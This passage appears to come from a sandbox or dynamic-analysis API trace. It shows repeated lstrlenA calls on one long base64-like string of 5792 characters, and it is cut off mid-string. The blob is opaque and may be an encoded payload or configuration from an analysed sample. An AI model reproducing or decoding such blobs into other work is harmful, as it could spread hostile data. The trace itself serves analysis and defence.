(lpString="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") returned 5792 [0128.359] lstrlenA (lpString="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") returned 5792 [0128.359] lstrlenA (lpString="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